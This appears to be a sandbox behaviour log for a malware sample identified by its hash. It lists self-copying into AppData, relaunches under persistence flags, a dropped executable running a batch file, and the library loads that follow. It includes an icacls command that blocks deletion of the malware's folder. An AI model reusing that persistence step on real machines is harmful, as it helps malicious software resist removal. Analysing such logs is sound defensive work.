Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe --Task
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Source: unknown	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\Temp\VOsoyD.exe C:\Users\user\AppData\Local\Temp\VOsoyD.exe
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\33f77c43.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\Temp\VOsoyD.exe C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe"	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe --Task
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\Temp\VOsoyD.exe C:\Users\user\AppData\Local\Temp\VOsoyD.exe
Source: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\33f77c43.bat" "

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ntvdm64.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Section loaded: netapi32.dll	Jump to behavior
